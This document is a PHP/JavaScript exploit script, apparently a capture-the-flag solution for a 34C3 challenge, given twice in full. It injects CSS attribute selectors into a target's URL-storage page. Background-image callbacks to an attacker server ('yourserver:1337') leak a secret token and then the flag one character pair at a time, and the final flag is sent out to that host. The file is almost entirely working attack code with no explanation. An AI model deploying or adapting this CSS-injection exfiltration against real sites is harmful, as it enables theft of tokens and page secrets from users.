eboda/exploit.php

## exploit.php
<?php
$target = 'http://127.0.0.1/';
$exploit = 'http://yourserver:1337/exploit.php';
$exfil = 'http://yourserver:1337/FLAG=';

function enc($s) {
    $res = '';
    for ($i = 0; $i < strlen($s); $i++) {
        $res .= '\\' . dechex(ord($s[$i]));
    }
    return $res;
}

if (isset($_GET['restart'])) {
    file_put_contents('step1_prefix', '');
    file_put_contents('step2_prefix', '');
    exit;
}

if (isset($_GET['flagpage'])) {
    $token = file_get_contents('step1_prefix');
?>
    <form id="foo" action="<?= $target ?>flag" method="GET" target="_blank">
        <input value="<?= $token ?></title><base href=urlstorage/>" name="token">
    </form>
    <script>
        foo.submit();
    </script>
<?php
    exit;
}

if (isset($_GET['step'])) {
    $step = $_GET['step'];
    $prefix = file_get_contents("step{$step}_prefix");

    if ($step === '1') {
        echo "<form method='POST' id='yolo' target='_blank' action='{$target}urlstorage/'>";
    } else {
        echo "<form method='POST' id='yolo' action='{$target}urlstorage/'>";
    }
    echo "<textarea name='url' id='url'>";

    $alph="0123456789abcdef";
    $css = "\n{}\n";
    for ($i = 0; $i<16; ++$i) {
        $a=$alph[$i];
        for ($j = 0; $j<16; ++$j) {
            $b=$alph[$j];
            if ($step === '1') {
                $css .= "\na[href^=";
                $css .= enc("flag?token=$prefix$a$b");
                $css .= "]{background:url($exploit?new{$step}=$prefix$a$b);}\n";
            } else {
                $css .= "\ninput[value^=";
                $css .= enc("34C3_$prefix$a$b");
                $css .= "]{background:url($exploit?new{$step}=$prefix$a$b);}\n";
            }
        }
    }
    echo $css ."\n";
?>
        </textarea>
    </form>

    <script>
        yolo.submit();
    </script>

<?php
    exit;
}

if (isset($_GET['flag1'])) {
    echo file_get_contents('step1_prefix');
    exit;
}

if (isset($_GET['flag2'])) {
    echo file_get_contents('step2_prefix');
    exit;
}

if (isset($_GET['new1'])) {
    file_put_contents('step1_prefix', $_GET['new1']);
    exit;
}

if (isset($_GET['new2'])) {
    file_put_contents('step2_prefix', $_GET['new2']);
    exit;
}

if (isset($_GET['poll1'])) {
    echo strlen(file_get_contents('step1_prefix'));
    exit;
}

if (isset($_GET['poll2'])) {
    echo strlen(file_get_contents('step2_prefix'));
    exit;
}

?>

<html>
    <head><script src='jquery.js'></script>
<body>

<iframe id='doit'></iframe>
<iframe id='doit2'></iframe>


<script>
var length = -1;
var poll_len = -1;
var token = '';

function get_url(url) {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', url, false);
    xhr.send();
    return xhr.responseText;
}

function exfil() {
    var flag = get_url('?flag2');
    console.log("FINAL FLAG: " + flag);
    get_url('<?= $exfil ?>' + flag);
}


function poll() {
    return parseInt(get_url('<?= $exploit ?>?poll1'));
}

function poll2() {
    return parseInt(get_url('<?= $exploit ?>?poll2'));
}

function doit1() {
    poll_len = poll();
    console.log(poll_len + " " + length);
    if (length == 32) {
        token = get_url('?flag1');
        console.log("TOKEN: " + token);
        length = -1;
        doit2();
    } else if (poll_len > length) {
        $('#doit').attr('src', '<?= $exploit ?>?step=1'); // next url
        length = poll_len;
        console.log("Length now " + length);
        setTimeout(doit1, 0);
    } else {
        setTimeout(doit1, 100);
    }
};

function open_flag_url() {
    $('#doit2').attr('src', '<?= $exploit ?>?flagpage');
    length = poll_len;
    console.log("Length now " + length);
    setTimeout(doit2, 0);
}

function doit2() {
    poll_len = poll2();
    console.log("poll_len2 length: " + poll_len + " " + length);
    if (length == 40) {
        exfil();
    } else if (poll_len > length) {
        $('#doit2').attr('src', '<?= $exploit ?>?step=2');
        setTimeout(open_flag_url, 300);
    } else {
        setTimeout(doit2, 100);
    }

}

document.body.onload = function () {
    get_url('?restart');
    doit1();
}
</script>
</body>
</html>
	<?php
	$target = 'http://127.0.0.1/';
	$exploit = 'http://yourserver:1337/exploit.php';
	$exfil = 'http://yourserver:1337/FLAG=';

	function enc($s) {
	$res = '';
	for ($i = 0; $i < strlen($s); $i++) {
	$res .= '\\' . dechex(ord($s[$i]));
	}
	return $res;
	}

	if (isset($_GET['restart'])) {
	file_put_contents('step1_prefix', '');
	file_put_contents('step2_prefix', '');
	exit;
	}

	if (isset($_GET['flagpage'])) {
	$token = file_get_contents('step1_prefix');
	?>
	<form id="foo" action="<?= $target ?>flag" method="GET" target="_blank">
	<input value="<?= $token ?></title><base href=urlstorage/>" name="token">
	</form>
	<script>
	foo.submit();
	</script>
	<?php
	exit;
	}

	if (isset($_GET['step'])) {
	$step = $_GET['step'];
	$prefix = file_get_contents("step{$step}_prefix");

	if ($step === '1') {
	echo "<form method='POST' id='yolo' target='_blank' action='{$target}urlstorage/'>";
	} else {
	echo "<form method='POST' id='yolo' action='{$target}urlstorage/'>";
	}
	echo "<textarea name='url' id='url'>";

	$alph="0123456789abcdef";
	$css = "\n{}\n";
	for ($i = 0; $i<16; ++$i) {
	$a=$alph[$i];
	for ($j = 0; $j<16; ++$j) {
	$b=$alph[$j];
	if ($step === '1') {
	$css .= "\na[href^=";
	$css .= enc("flag?token=$prefix$a$b");
	$css .= "]{background:url($exploit?new{$step}=$prefix$a$b);}\n";
	} else {
	$css .= "\ninput[value^=";
	$css .= enc("34C3_$prefix$a$b");
	$css .= "]{background:url($exploit?new{$step}=$prefix$a$b);}\n";
	}
	}
	}
	echo $css ."\n";
	?>
	</textarea>
	</form>

	<script>
	yolo.submit();
	</script>

	<?php
	exit;
	}

	if (isset($_GET['flag1'])) {
	echo file_get_contents('step1_prefix');
	exit;
	}

	if (isset($_GET['flag2'])) {
	echo file_get_contents('step2_prefix');
	exit;
	}

	if (isset($_GET['new1'])) {
	file_put_contents('step1_prefix', $_GET['new1']);
	exit;
	}

	if (isset($_GET['new2'])) {
	file_put_contents('step2_prefix', $_GET['new2']);
	exit;
	}

	if (isset($_GET['poll1'])) {
	echo strlen(file_get_contents('step1_prefix'));
	exit;
	}

	if (isset($_GET['poll2'])) {
	echo strlen(file_get_contents('step2_prefix'));
	exit;
	}

	?>

	<html>
	<head><script src='jquery.js'></script>
	<body>

	<iframe id='doit'></iframe>
	<iframe id='doit2'></iframe>


	<script>
	var length = -1;
	var poll_len = -1;
	var token = '';

	function get_url(url) {
	var xhr = new XMLHttpRequest();
	xhr.open('GET', url, false);
	xhr.send();
	return xhr.responseText;
	}

	function exfil() {
	var flag = get_url('?flag2');
	console.log("FINAL FLAG: " + flag);
	get_url('<?= $exfil ?>' + flag);
	}


	function poll() {
	return parseInt(get_url('<?= $exploit ?>?poll1'));
	}

	function poll2() {
	return parseInt(get_url('<?= $exploit ?>?poll2'));
	}

	function doit1() {
	poll_len = poll();
	console.log(poll_len + " " + length);
	if (length == 32) {
	token = get_url('?flag1');
	console.log("TOKEN: " + token);
	length = -1;
	doit2();
	} else if (poll_len > length) {
	$('#doit').attr('src', '<?= $exploit ?>?step=1'); // next url
	length = poll_len;
	console.log("Length now " + length);
	setTimeout(doit1, 0);
	} else {
	setTimeout(doit1, 100);
	}
	};

	function open_flag_url() {
	$('#doit2').attr('src', '<?= $exploit ?>?flagpage');
	length = poll_len;
	console.log("Length now " + length);
	setTimeout(doit2, 0);
	}

	function doit2() {
	poll_len = poll2();
	console.log("poll_len2 length: " + poll_len + " " + length);
	if (length == 40) {
	exfil();
	} else if (poll_len > length) {
	$('#doit2').attr('src', '<?= $exploit ?>?step=2');
	setTimeout(open_flag_url, 300);
	} else {
	setTimeout(doit2, 100);
	}

	}

	document.body.onload = function () {
	get_url('?restart');
	doit1();
	}
	</script>
	</body>
	</html>